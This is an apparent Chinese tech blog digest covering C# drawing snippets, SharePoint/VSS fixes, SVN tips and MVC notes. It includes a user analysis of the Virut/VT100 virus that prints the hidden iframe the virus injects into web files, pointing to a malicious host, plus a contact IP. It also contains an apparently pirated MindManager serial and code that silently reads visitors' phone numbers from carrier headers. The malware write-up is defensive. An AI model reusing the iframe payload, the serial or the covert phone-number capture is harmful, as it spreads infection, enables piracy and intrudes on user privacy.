C#画图_len2009_j4mds_新浪博客
http://blog.sina.com.cn/s/blog_5ed002f60100c42q.html
转自http://www.wzbkz.com/HTML/2007/10/25/11/56/58375.html
1.位图上绘制点和线
System.Drawing.Image MyImage=new System.Drawing.Bitmap (w,h);//申请位图对象
System.Drawing.Graphics g=System.Drawing.Graphics.FromImage(MyImage); //申请画图对象
//用白色C清出除
Color C=Color.FromArgb(255,255,255);
g.Clear(C);
//画线
g.DrawLine(Pens.Black,x1,y1,x2,y2);
//画一个象素的点
//MyBitmap.SetPixel(x, y, Color.White);
g.DrawImage(MyImage,0,0,h,w); //pictureBox1在(0,0)到(h,w)范围画点
pictureBox1.Image=MyImage; //这个图片贴到pictureBox1控件上
2.在窗体上绘制图形
System.Drawing.Pen myPen = new System.Drawing.Pen(System.Drawing.Color.Red);//画笔
System.Drawing.SolidBrush myBrush = new System.Drawing.SolidBrush(System.Drawing.Color.Red);//画刷
System.Drawing.Graphics formGraphics = this.CreateGraphics();
formGraphics.FillEllipse(myBrush, new Rectangle(0,0,100,200));//画实心椭圆
formGraphics.DrawEllipse(myPen, new Rectangle(0,0,100,200));//空心圆
formGraphics.FillRectangle(myBrush, new Rectangle(0,0,100,200));//画实心方
formGraphics.DrawRectangle(myPen, new Rectangle(0,0,100,200));//空心矩形
formGraphics.DrawLine(myPen, 0, 0, 200, 200);//画线
formGraphics.DrawPie(myPen,90,80,140,40,120,100); //画馅饼图形
//画多边形
formGraphics.DrawPolygon(myPen,new Point[]&leftsign; new Point(30,140), new Point(270,250), new Point(110,240), new Point
(200,170), new Point(70,350), new Point(50,200)&rightsign;);
//清理使用的资源
myPen.Dispose();
myBrush.Dispose();
formGraphics.Dispose();
3.在窗体上绘制文本
//在窗体上绘制竖向文本
System.Drawing.Graphics formGraphics = this.CreateGraphics();
string drawString = "Text";
System.Drawing.Font drawFont = new System.Drawing.Font("Arial", 16);
System.Drawing.SolidBrush drawBrush = new System.Drawing.SolidBrush(System.Drawing.Color.Black);
float x = 150.0f;
float y = 50.0f;
System.Drawing.StringFormat drawFormat = new System.Drawing.StringFormat(StringFormatFlags.DirectionVertical);//文本
垂直
formGraphics.DrawString(drawString, drawFont, drawBrush, x, y);//绘制文本
formGraphics.DrawString(drawString, drawFont, drawBrush, x, y, drawFormat);//绘制垂直文本
//清理使用的资源
drawFont.Dispose();
drawBrush.Dispose();
formGraphics.Dispose();
4.其他画笔
//该画刷的HatchStyle有DiagonalCross、 ForwardDiagonal、Horizontal、 Vertical、 Solid等不同风格
HatchStyle hs = HatchStyle.Cross; //十字
HatchBrush sb = new HatchBrush(hs,Color.Blue,Color.Red);
g.FillRectangle(sb,50,50,150,150);
Rectangle r = new Rectangle(500, 300, 100, 100);
LinearGradientBrush lb = new LinearGradientBrush(r, Color.Red, Color.Yellow, LinearGradientMode.BackwardDiagonal);
g.FillRectangle(lb, r);
//PathGradientBrush路径渐变,LinearGradientBrush线性渐变
Image bgimage = new Bitmap("E:2065215396.jpg");
brush = new TextureBrush(bgimage); //易一幅图作椭圆的背景
g.FillEllipse(brush,50,50,500,300);
5.其他技巧
//申请画图区域
System.Drawing.Rectangle rectangle = new System.Drawing.Rectangle(100, 100, 200, 200);
//创建笔
System.Drawing.Pen myPen = new System.Drawing.Pen(System.Drawing.Color.Black);
myPen.DashStyle=DashStyle.Dash //DashStyle有Dash、DashDot、DashDotDot、Dot、Solid等风格
//创建单色画刷
System.Drawing.SolidBrush myBrush = new System.Drawing.SolidBrush(System.Drawing.Color.Black);
//画图函数
protected override void OnPaint ( System.Windows.Forms.PaintEventArgs e )
&leftsign;
&rightsign;
//颜色对话框
ColorDialog c = new ColorDialog();
c.ShowDialog();
textBox1.BackColor = c.Color;
//字体对话框
FontDialog f = new FontDialog();
f.ShowDialog();
textBox1.Font = flg.Font;
//RGB的使用
int Red=(int)SelfPlaceKey.GetValue("Red");
int Green=(int)SelfPlaceKey.GetValue("Green");
int Blue=(int)SelfPlaceKey.GetValue("Blue");
BackColor=Color.FromArgb(Red,Green,Blue);
//字体
Font aFont=new Font("Arial",16,FontStyle.Bold&line;FontStyle.Italic);
rect=new Rectangle(0,y,400,aFont.Height);
g.DrawRectangle(Pens.Blue,rect);
StringFormat sf=new StringFormat();
sf.Alignment=StringAlignment.Far;
g.DrawString("This text is right justified.",aFont,Brushes.Blue,rect,sf);
y+=aFont.Height+20;
aFont.Dispose();
Koders Code Search: LayerControl.cs – C#
http://www.koders.com/csharp/fid1C33F7FDDA01A2259FB7FB4786CB6A86647CE358.aspx?s=zoom
谁能给我一个(完整的)C#画图的例子76分!!?????? .NET技术 / C# – CSDN社区 community.csdn.net
http://topic.csdn.net/t/20011117/23/375862.html
CodeProject: Another Month Calendar. Free source code and programming help
http://www.codeproject.com/KB/selection/MonthCalendar.aspx
CodeProject: C# Video TimeLine Control for DirectShow & VLC Like Adobe AfterEffects. Free source code and programming help
http://www.codeproject.com/KB/graphics/TimeLine.aspx
CodeProject: Image Processing Lab in C#. Free source code and programming help
http://www.codeproject.com/KB/GDI-plus/Image_Processing_Lab.aspx?msg=1342964
C# 制作出任意不规则按钮! (原理根据背景图绘制button) – CodeInHeart – 博客园
http://www.cnblogs.com/zengping/archive/2006/08/30/490720.html
有没有办法将一幅图片随机切成N个不规则的片? .NET技术 / C# – CSDN社区 community.csdn.net
http://topic.csdn.net/t/20051216/16/4463822.html
CodeProject: Timeline. Free source code and programming help
http://www.codeproject.com/KB/selection/timeline.aspx
CodeProject: C# Video TimeLine Control for DirectShow & VLC Like Adobe AfterEffects. Free source code and programming help
http://www.codeproject.com/KB/graphics/TimeLine.aspx
Paint.NET v1.1 is now available! – Greg\’s Cool [Insert Clever Name] of the Day
http://coolthingoftheday.blogspot.com/2004/10/paintnet-v11-is-now-available.html
20080509 mindmap wss sharepoint
http://www.yippeesoft.com
重新捡起Mind Map Tool, 用来做读书笔记的.
目前可选有两个Tool:
1. 以前用的FreeMind , 目前Stable 版本是v0.8.1 , Beta 版本是0.9 Beta 16.
还是基于Java, 绿色免安装,有JDK 就可以.
v0.9 居然新增加了一个用Groovy 来写Plugin的功能, 扩展起来比较方便.
而且Tool 本身是Free and Open Source的.
2. 国产的EdDraw, http://www.edrawsoft.com/
今天刚刚在网上看到的, 价格比较便宜,目前推广期,注册费仅28元.
做图的功能比较强, 除了MindMap之外, 各种组织结构图, 流程图等等都可以.
准备晚上先试用一下, 的确好使的话, 就买一个.
http://liyuehui163.blog.163.com/blog/static/4988021200710811949246/
[收藏]WSS 3.0与Form Server 2007、MOSS 2007各版本功能对比(续)
http://liyuehui163.blog.163.com/blog/static/4988021200710811646252/
[收藏]WSS 3.0与Form Server 2007、MOSS 2007各版本功能对比
http://blog.joycode.com/erucy/archive/2007/09/12/108358.aspx
版本控制 + 文档比较
http://tfs.techboo.com/archive/2006/11/20/9.aspx
TFS vs SubVersion,Nant,CCNET,Tortoise,Ankh,Gemini (open source)
http://blog.csdn.net/gohands/archive/2008/02/18/2102272.aspx
Trac 手记(一) : Windows 下安装 Trac
http://office.microsoft.com/zh-cn/project/HP453055902052.aspx
在主项目中插入子项目
http://support.microsoft.com/kb/325958/zh-cn
主项目和子项目 Project 2002 中使用的注意事项和最佳做法方法列表
http://office.microsoft.com/zh-cn/help/HA011929162052.aspx
软件项目开发组网站模板主要功能说明
使用Microsoft提供的模板创建的WSS网站
http://wss.heuet.com/Lists/Links/AllItems.aspx
http://office.microsoft.com/zh-cn/help/HA011929162052.aspx
MindManager Pro 6、序列号、GDS插件
1. MindManager4月25日发布了新的版本, MM61-E-809_Pro。
2. 下载地址如下:http://ftp2.mindjet.com/download/MM61-E-809_Pro.exe;
3. 序列号:SN: MP66-982-DPMA-AF55-27EE
4. MindManager是个优秀的思维导图软件,更多介绍见这里。
5. MindManager的Google Desktop插件:Google Desktop Plug-in for MindManager Maps,下载 ,via
http://stynzf.blogbus.com/c1621122/
MOSS 2007应用日记(26)——如何使用文档转换 – [MOSS 2007应用日记]
http://www.cnblogs.com/Terrylee/archive/2006/04/21/380823.html
Castle IOC容器构建配置详解(一)
http://www.cnblogs.com/zhenyulu/articles/82017.html
策略(Strategy)模式
http://www.cnblogs.com/sbitxg521/archive/2008/03/21/1115666.html
用CSS的float和clear创建三栏液态布局的方法
IBatisNet + Castle 开发相关文章
http://www.cnblogs.com/sbitxg521/archive/2008/03/14/1106356.html
Castle IOC容器快速入门
http://blog.163.com/xing_aixin/blog/static/372355052007111051138410/
http://hi.baidu.com/zbzb/blog/item/ea26a0efa7311614fcfa3c69.html
2.3 依赖注入
事件类型: 错误
事件来源: Service Control Manager
事件种类: 无
事件 ID: 7023
日期: 2008-5-6
事件: 16:39:58
用户: N/A
计算机: DELL2950
描述:
Windows SharePoint Services Search 服务因下列错误而停止:
句柄无效。
有关更多信息,请参阅在 http://go.microsoft.com/fwlink/events.asp 的帮助和支持中心。
http://gelingfeng.spaces.live.com/Blog/cns!6243BAC9AC8CCC24!347.entry
Spring.NET IOC控制反转 简单示例
http://blog.csdn.net/LeonJoe/archive/2008/04/04/2252157.aspx
Spring.Net IoC容器+Observer模式
http://tech.ddvip.com/2007-03/117404193321410_6.html
运用设计模式设计MIME编码类 — 兼谈Template Method和Strategy模式的区别
Try modifying the Log On Identity of the service. In my case, it was setup to log on as "Local Service". After I changed this to "Local System", the service started without any errors.
Note that this error message was received from the Services Administrative Tool. The WSS web front-end simply hung when attempting to start the WSS Search service.
事件类型: 错误
事件来源: VSS
事件种类: 无
事件 ID: 11
日期: 2008-5-6
事件: 16:53:04
用户: N/A
计算机: DELL2950
描述:
卷影复制服务信息: 无法启动 CLSID 为 &leftsign;4e14fba2-2e22-11d1-9964-00c04fbbb345&rightsign; 、名称为 CEventSystem 的 COM 服务器。[0x800401f0]
卷影复制服务错误: EventSystem 服务被禁用,或者在安全模式尝试启动。 影复制服务在安全模式无法启动。 如果出于安全模式,请确定 EventSystem 服务被启用。 CLSID: &leftsign;4e14fba2-2e22-11d1-9964-00c04fbbb345&rightsign; 名称: CEventSystem [0×80040206]
算了,不说过程了,直接说下我的解决方法,启动vss以及相关服务,可是服务面板里面没这个东西:
运行cmd
Net stop vss
Net stop swprv
cd c:\\WINDOWS\\system32
regsvr32 ole32.dll
regsvr32 vss_ps.dll
Vssvc /Register
regsvr32 /i swprv.dll
regsvr32 /i eventcls.dll
regsvr32 es.dll
regsvr32 stdprov.dll
regsvr32 vssui.dll
regsvr32 msxml.dll
regsvr32 msxml3.dll
regsvr32 msxml4.dll
Net start vss
Net start swprv
用户界面中发生未处理的异常。异常信息: 无法启动计算机“administrator”上的服务 OSearch。 )
输入名称的格式不对,输入的时候应该是:HOSTNAME\\USERNAME 如果不加本地计算机名,只加用户名,就会出现楼主说的错误
http://www.cnblogs.com/wayfarer/archive/2006/09/12/502517.html
.Net中的设计模式——Strategy模式
http://www.cnblogs.com/Trigon/archive/2006/01/17/318978.html
WSS与Project Server集成
http://www.soasp.net/FilePage/200804/20080424190346.htm
ADO.NET 2.0批量数据操作和多动态结果集
http://www.cnblogs.com/freeliver54/archive/2007/09/19/898126.html
SqlServer与Access之间的数据互导
使用SqlBulkCopy类加载其他源数据到SQL表
http://www.cnblogs.com/Clingingboy/archive/2006/04/29/388523.html
http://jackyrong.cnblogs.com/archive/2005/08/29/225521.html
在asp.net 2.0中使用SqlBulkCopy类迁移数据
http://office.microsoft.com/zh-cn/project/HA101515192052.aspx
使用 Project Server 分析项目和资源绩效
http://www.hackhome.com/InfoView/Article_113121.html
软件开发规范
http://dev.csdn.net/article/81420.shtm
china.com网站软件开发需求规范
http://blog.csdn.net/luv13/archive/2005/09/07/474239.aspx
小软件项目开发的管理(好长)
http://www.itisedu.com/phrase/200603082133465.html
软件管理
http://www.gjwtech.com/vcandc/vc2managermicrosoftsecret.htm
微软公司软件开发模式简介
http://www.gjwtech.com/vcandc/vc2miniprogdevelopmanager.htm
小软件项目开发的管理
http://www.itisedu.com/phrase/200602282117345.html
软件工具
http://www.yhkjw.net/ReadNews.asp?NewsID=262
项 目 进 度 周 报((模板)
http://home.donews.com/donews/article/1/102873.html
微软产品组里的十一类人
http://des.cmu.edu.cn/jiaoxue/xueke/txk/his/f5.doc
附录五 国家标准《计算机软件产品开发文件编制指南》
http://www.codeproject.com/KB/database/ScriptDB4Svn.aspx
SQL Server database versioning with Subversion (SVN)
如何统计代码的修改规模?如果肯花钱,则能买到统计代码修改规模的专业工具。这里介绍一种利用subversion和grep组合的方法简单统计代码修改规模。下面假设程序代码中的注释有两种格式,一种以 // 开头,另一种是Javadoc格式,即
/**
* This is a function.
* @param &leftsign;String&rightsign; v str
*/
为清晰起见,下面的统计命令分成了几行来写。
svn diff -r4:320 # 获取rev4和rev320之间的差异
&line; sed -e \’s/\\r//g\’ # 删除行尾的换行符^M。Windows下必须
&line; grep "^+[^+]" # 取得修改部分
&line; grep -Ev "^+[[:space:]]*(\\/\\*)&line;(\\*)&line;(\\/\\/)" # 删除注释
&line; grep -v "^+[[:space:]]*$" # 删除空行
&line; wc -l # 统计行数
ISvnCounter是一个针对SVN开发者的统计工具,它根据SVN的提交记录,生成一个开发列表,包含所有文件和开发者所对应的修改行数① 。
ISvnCounter开发环境是.net2.0,SVN1.4.6
Download the latest release from http://sourceforge.net/projects/statsvn/
* Expand the zip file into some directory, e.g c:\\statsvn
* Check out a working copy of the desired SVN module into
some directory, e.g. c:\\myproject.
* Change into that directory and type
\’svn log –xml -v > svn.log\’
* Change back to the c:\\statsvn directory
* type \’java -jar statsvn.jar c:\\myproject\\svn.log c:\\myproject\’
* Open c:\\statsvn\\index.html in your web browser
http://hi.baidu.com/vb1980/blog/item/9e0b1e16c3fb2752f3de3271.html
又一款SVN Repositories Web Viewer
20071219 vt100 zhelatint恶意程序
http://www.yippeesoft.com
中午休息,下载玩玩360安全卫士,升级后报告
zhelatint恶意程序
还真找不到什么相关的信息
论坛有个回复·········
十分抱歉,这个是360安全卫士的一次误报,我们将马上进行修正!
下午马上会发特征库进行更新!!
给大家带来的不便,请大家谅解!
(这是一个注册表键值,所以显示不出路径。这个值删掉不会对系统造成任何影响,也请大家不要担心)
如果显示有路径的话 那应该就是真正的ZhelatinT恶意程序
再看看详细信息
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG [EnableFileTracing]: (0)
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG [EnableConsoleTracing]: (0)
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG [FileTracingMask]: (4294901760)
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG [ConsoleTracingMask]: (4294901760)
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG [MaxFileSize]: (1048576)
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG [FileDirectory]: (%windir%\\tracing)
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System [DisableTaskMgr]: (0)
根据这个查查··
【04-09】又一个恶意感染exe的类熊猫病毒
hu今天从某个网友那里获得了一个病毒 据说是感染文件的 卡巴报为Virus.Win32.Virut.e(瑞星还不能查杀)
看病毒名估计是一个新的感染exe系列的变种
病毒文件名 VT100.exe
病毒大小 125952字节
MD5 35703ea7c752d959d2e9d904654a5522
编写语言 Delphi
此病毒特征:1.感染exe(包括系统分区)html htm php asp aspx 文件
2.结束一些杀毒软件进程
3.删除hosts文件
4.通过hook API函数 隐藏进程 隐藏文件自身及注册表中的启动项目
5.删除gho文件
总体上来看有点步李俊的后尘哦!
运行文件后
生成如下文件
C:\\Windows\\system32\\VT100.exe
Hook 以下API函数Ntcreatefile
Ntcreateprocess
NtcreateprocessEx
NtEnumerateValueKey
NtQueryDirectoryFile
NtQuerySystemInformation
ZwCreateFile
ZwCreateprocess
ZwCreateprocessEx
ZwEnumerateValueKey
ZwOpenFile
ZwQueryDirectoryFile
使得C:\\Windows\\system32\\VT100.exe在资源管理器下不可见
其进程在任务管理器中也不可见
后面提到的启动项目 在注册表编辑器中也不可见
注册表方面
添加HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG键
并在其下建立值
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG\\EnableFileTracing: 0×00000000
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG\\EnableConsoleTracing: 0×00000000
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG\\FileTracingMask: 0xFFFF0000
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG\\ConsoleTracingMask: 0xFFFF0000
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG\\MaxFileSize: 0×00100000
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG\\FileDirectory: "%windir%\\tracing"
用意不懂 不过感觉应该和不断的停止防火墙的程序有关
我的瑞星防火墙就是被他不断的停止…
在HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run下面增加名称为VT100 Emulator的键值
指向 C:\\Windows\\system32\\VT100.exe达到开机自启动的目的
删除C:\\WINDOWS\\system32\\drivers\\etc\\hosts
和gho文件
如果有如下进程则结束
sfmantec antipirus(作者拼错了吧?呵呵)
ravmon.exe
zonealarm
rav_onclass
感染系统分区 (包括C:\\WINDOWS\\system32\\dllcache\\下面的文件)及其他分区的exe文件
使得被感染文件增加9728字节的内容
感染感染系统分区 (包括C:\\WINDOWS\\system32\\dllcache\\下面的文件)及其他分区的html htm php asp aspx 文件
在其内部添加如下代码
<iframe src="http://www.zief.pl/iraq.jpg" width=1 height=1></iframe></body>
通过winlogon进程访问81.95.149.98:65520 可没找到插入winlogon的 dll ..
[ 本帖最后由 newcentury 于 2007-4-9 23:05 编辑 ]
今天头彩,早上开机就发现有病毒一天就在不停的折腾,期间陆续又有4台机器发现此病毒.
大概症状为
注册表
启动项增加vt00.exe c:\\windows\\system32\\vt100.exe,(开机自动调用此程序)
添加HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG键
并在其下建立值
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG\\EnableFileTracing: 0×00000000
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG\\EnableConsoleTracing: 0×00000000
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG\\FileTracingMask: 0xFFFF0000
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG\\ConsoleTracingMask: 0xFFFF0000
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG\\MaxFileSize: 0×00100000
HKLM\\SOFTWARE\\Microsoft\\Tracing\\FWCFG\\FileDirectory: "%windir%\\tracing"
杀毒程序会被不停禁用
所有EXE SCR文件不能使用,并会增加10K左右大小
用widows清楚助手清除会要求重启电脑,重启后正常模式与安全模式输入用户名密码后机器除能调出任务管理器外基本=瘫痪
Norton 07-04-10病毒库能查杀出此病毒名为Virut.A并删除感染的EXE文件
但无法清除干净.
该病毒好像是9号刚出,下午打电话去symantec,结果不仅symantec连病毒样本没有,端星,毒霸,卡巴斯基都没有很好的解决方法,网上只能找到症状说明.
NND,运道这么好,刚出的就能中,下周买新股去看看会不会中.
明天继续头大ing~~~~
20071101 DSL x-network-info interface build MVC
http://www.yippeesoft.com
MiX07上宣布的。DLR = Dynamic Language Runtime。DLR和IronPython全部开源,可以到codeplex下载。有了DLR,在.NET上开发动态语言的工作可以简化许多。目前DLR支持Python, Ruby, JavaScript,和VB,只能在Silverlight下运行。不过把支持面扩展到普通CLR运行时应该只是时间问题。微软的CLR已是牛B的运行时,有一流的GC,高效的JIT,完整的类型系统,和相对强健的安全机制。DLR在CLR的基础上又加入对动态类型的支持。在DLR上开发的动态语言可以共享这些基础功能。这非常重要。光开发高质量的GC和JIT就需要好几代程序员和计算机科学家忘我工作,而现在牛人们不用再为这些基础设施耗费额外的精力,可以专注于语言的设计。DLR上的动态语言编译成IL的字节码后,可直接在CLR上运行。在俺看来,这才是真正的杀手卖点:动态语言们能够共享. NET庞大的类库。Ruby+LINQ,多爽啊!一门语言光有炫目的功能是不够的。语言背后的平台本就是语言的一部分。功能完善、运行稳定的一整套类库向来是做大型系统开发的老大们考虑的重点。而流行类库背后是一大票程序员。有了数量,才有质量。有共同的类库分享,才有很多人一起分享心得。人多了,社区才热闹,遇到问题才有人帮忙解决。才有公司向这门语言大笔投注。不然的话,天下功能强大的语言千千万,替它们布道的牛人万万千,说到开发大型商业程序的系统语言,还不就是C++, Java,和C#? 不要用Paul Graham的Viaweb,Orbiz的问价系统,或者Naughty Dog的游戏来说事。这些本就是小撮牛人们的特例。比如Naughty Dog:不错,他们的竞争优势之一是使用用CommonLisp,能快速开发出复杂而流畅的游戏。问题是,Naughty Dog为了用好Common Lisp,开发了自己的编译器,自己的Profiler, 自己的框架。有几个老大有这个本事?Ruby最受人批评的地方之一便是它的类库有限,而当年Perl流行很大程度上归功CPAN。现下流行的 reddit.com本来用Common Lisp写成,但因为Common Lisp没有一套统一可移植的类库,reddit.com的创始人最终选择用Python重写reddit。
WAP如何获取手机号
只要知道联通或者移动的网关中手机号的字段,就可以自己写个脚本通过http头获取手机号 Request.getHeader("字段名");
限制条件:第三方的网关传送了手机号,如果是自己开发的网关,就没有问题了
phone=Request.ServerVariables("HTTP_X_UP_CALLING_LINE_ID")
String Mobile_GPRS = Request.getHeader("X-up-calling-line-id");
String Mobile_CDMA = Request.getHeader("x-up-subno");
String Mobile_INFO = Request.getHeader("x-network-info");
String Mobile_DEVI = Request.getHeader("deviceid");
/// <summary>
/// 获取手机头信息(手机号等)
/// </summary>
private void mobilemsg()
&leftsign;
for (int i = 0; i < Request.Headers.Count; i++)
&leftsign;
Response.Write(" -> " + Request.Headers.Keys[i].ToString() + "<br>");
Response.Write(" " + Request.Headers[i].ToString() + "<br><br>");
&rightsign;
string Mobile_GPRS = System.Web.HttpContext.Current.Request.Headers["X-up-calling-line-id"];
string Mobile_CDMA = System.Web.HttpContext.Current.Request.Headers["x-up-subno"];
string Mobile_INFO = System.Web.HttpContext.Current.Request.Headers["x-network-info"]; // 通过网络协议获取, 客户手机号码及类型等
string Mobile_DEVI = System.Web.HttpContext.Current.Request.Headers["deviceid"];
string Mobile_Accept = System.Web.HttpContext.Current.Request.Headers["Accept"]; // 获取WAP支持的类型
&rightsign;
nib4j 1.0 is a simple but powerfull Java library that permits the use of Apple\’s Interface Builder to design Swing-based user interfaces. It creates Swing menus, frames and dialogs from Carbon nib files and provides a complete separation of UI and application code. nib4j supports both absolute and relative positioning/sizing, internationalization and more than 25 UI controls, including real floating palette windows and Mac OS X 10.3 group boxes. By using the included "nib4j Viewer" you can try out your UI without writing any code and generate the necessary Java source to access the Swing components. For non-commercial use nib4j is completely free.
BM Reflexive User Interface Builder (RIB)是来自 alphaWorks 的一项新技术,是用来构建和提供 Java AWT/Swing 和 Eclipse SWT GUI 的应用程序和工具包。RIB 指定了一种灵活易用的 XML 标记语言来描述 Java GUI,并为创建这些 GUI 提供了引擎。可以使用 RIB 测试和评估基本的 GUI 布局和功能,或者为应用程序创建和提供 GUI。
不论使用何种小窗口部件集(widget set),用 Java 语言手工编写 GUI 都将是一个单调乏味并且容易出错的过程。使用标记语言来说明 GUI 要容易得多。IBM Reflexive User Interface Builder (RIB) 是一种基于描述性 XML 文档构造和提供 Jave AWT/Swing 和 Eclipse SWT GUI 的应用程序,该 XML 文档是作为脚本引用的。RIB 既是用来描述 Java GUI 的标记语言的规范,也是用来创建和提供这些 GUI 的引擎。可以将 RIB 用作独立的应用程序,来测试和评估基本的 GUI 布局和功能,也可以将其用作 Java 应用程序环境中的库,为应用程序创建和提供 GUI。
# Web服务器
1. 描述:提供Web服务。
2. 常用软件:IIS、Apache。
3. 描述:Web服务器也是个用处极为广泛的服务器,通常包含团队的首页(占公网80端口),项目管理软件(ProjectServer、BugFree等),Blog,Wiki,BBS等。
# 版本控制服务器
1. 描述:提供版本控制。
2. 常用软件:VSS、TFS、SVN、CVS等。
3. 描述:没有版本控制的项目是不能想象的。一个成熟的团队通常用版本控制工具管理整个项目文件:文档、代码、数据库脚本、页面设计……。版本控制服务器的重要性也就不容置疑了。
# 部署服务器
1. 描述:用于团队项目的部署、发布。
2. 常用软件:WebServer、FtpServer。
3. 描述:对于团队、特别是承接项目的团队,快速发布作为敏捷开发的一种方式,已经越来越普遍。部署服务器就是用于团队项目开发过程中所有版本的部署。通常这些发布版本互相之间是独立的,是可以同时访问的。部署服务器作为迭代和增加交付的工具,可以保留项目的开发历程、快速向客户演示以及增进团队成员的信心!
利用HttpModuler实现WEB程序同一时间只让一个用户实例登陆
http://www.xqblog.net/html/619.html
http://www.qlzc.com/htm/200708/2007675.html
HttpHandler
妙用Asp.Net中的HttpHandler
http://webuc.net/dotey/archive/2004/06/08/966.aspx
HttpModule和HttpHandler
http://industry.ccidnet.com/art/1077/20040413/723119_1.html
http://hi.baidu.com/holylan/blog/item/f878f5030d64a0ed09fa93f1.html
HttpHandler
Java基础:MVC设计模式减少编程复杂性
模型/界面/控制器(Model/View/Controller,MVC)编程技术允许一个开发者将一个可视化接口连接到一个面向对象的设计中,而同时还可以避免我们上面讨论的几个问题。MVC最初是为Smalltalk语言而设计的。MVC 通过创建下面三个层将面向对象的设计与可视化接口分开:
模型(Model):模型包含完成任务所需要的所有的行为和数据。模型一般由许多类组成并且使用面向对象的技术来创建满足五个设计目标的程序。
界面(View):一个界面就是一个程序的可视化元素,如对话框、选单、工具条等。界面显示从模型中提供的数据,它并不控制数据或提供除显示外的其它行为。一个单一的程序或模型一般有两种界面行为。
控制器(Controller):控制器将模型映射到界面中。控制器处理用户的输入,每个界面有一个控制器。它是一个接收用户输入、创建或修改适当的模型对象并且将修改在界面中体现出来的状态机。控制器在需要时还负责创建其它的界面和控制器。
控制器一直决定哪些界面和模型组件应该在某个给定的时刻是活动的,它一直负责接收和处理用户的输入,来自用户输入的任何变化都被从控制器送到模型。
界面从模型内的对象中显示数据。这些对象的改变可以通过也可以不通过用户的交互操作来完成。如:在一个Web浏览器中负责接收页面的对象收集和装配栈中的信息,必须有某种方式来让这些对象通知界面数据已经被改变了。在模型变化时有两种方法来对界面进行更新。
在第一种方法中,界面可以告诉模型它正在监视哪些对象。当这些对象中有任何一个发生变化时,一个信息就被发送给界面。界面接收这些信息并且相应地进行更新。为了避免我们上面讨论的不足,模型必须能够不用修改就支持许多种不同的界面显示。
第二个方法并不直接将界面连接到模型中,它的控制器负责在模型变化时更新界面。控制器通过对模型对象或观察器方法进行监测来检测模型中的变化。这个方法不用了解界面的模型知识,因此界面就变成是可以跨应用使用的。
使用MVC的优点
MVC通过以下三种方式消除与用户接口和面向对象的设计有关的绝大部分困难:
第一,控制器通过一个状态机跟踪和处理面向操作的用户事件。这允许控制器在必要时创建和破坏来自模型的对象,并且将面向操作的拓扑结构与面向对象的设计隔离开来。这个隔离有助于防止面向对象的设计走向反面。
第二,MVC将用户接口与面向对象的模型分开。这允许同样的模型不用修改就可使用许多不同的界面显示方式。除此之外,如果模型更新由控制器完成,那么界面就可以跨应用再使用。
最后,MVC允许应用的用户接口进行大的变化而不影响模型。每个用户接口的变化将只需要对控制器进行修改,但是既然控制器包含很少的实际行为,它是很容易修改的。
面向对象的设计人员在将一个可视化接口添加到一个面向对象的设计中时必须非常小心,因为可视化接口的面向操作的拓扑结构可以大大增加设计的复杂性。
MVC设计允许一个开发者将一个好的面向对象的设计与用户接口隔离开来,允许在同样的模型中容易地使用多个接口,并且允许在实现阶段对接口作大的修改而不需要对相应的模型进行修改。
领悟Web设计模式
ASP.NET下MVC设计模式的实现
Dot Net设计模式—MVC模式
用C#实现MVC(Model View Control)模式介绍
NStruts
Maverick.NET
MaverickLite
Ingenious MVC
Websharp
http://fineboy.cnblogs.com/category/33552.html
MS针对MVC推出新框架
altnetconf – Scott Guthrie announces ASP.NET MVC framework at Alt.Net Conf
标签:build, Info, int, interface, mvc, vc20070331 >netsh interface ip reset
http://www.yippeesoft.com
输入 >netsh interface ip reset
报告:
一个或多个重要的参数没有输入。
请验证需要的参数,然后再次输入。
此命令提供的语法不正确。请查看帮助以获取正确的语法信息。
用法: reset [name=]<string>
参数:
标签 数值
name – 要附加关于要复位什么设置的信息的文件名。
说明: 复位 TCP/IP 及相关的组件到干净的状态。
例如:
reset resetlog.txt
输入 >netsh interface ip reset c:\\log.log
reset SYSTEM\\CurrentControlSet\\Services\\Dhcp\\Parameters\\Options\\15\\RegLocation
old REG_MULTI_SZ =
SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\?\\DhcpDomain
SYSTEM\\CurrentControlSet\\Services\\TcpIp\\Parameters\\DhcpDomain
added SYSTEM\\CurrentControlSet\\Services\\Netbt\\Parameters\\Interfaces\\Tcpip_&leftsign;48A432F3-9977-49AD-981A-996A4905C8F2&rightsign;\\NetbiosOptions
added SYSTEM\\CurrentControlSet\\Services\\Netbt\\Parameters\\Interfaces\\Tcpip_&leftsign;B89043CE-2DD5-417F-8ACB-17CAD1858812&rightsign;\\NetbiosOptions
deleted SYSTEM\\CurrentControlSet\\Services\\Netbt\\Parameters\\EnableLmhosts
added SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;4CEE2C98-D034-4AAE-9409-88B93B05B59E&rightsign;\\DisableDynamicUpdate
deleted SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;4CEE2C98-D034-4AAE-9409-88B93B05B59E&rightsign;\\IpAutoconfigurationAddress
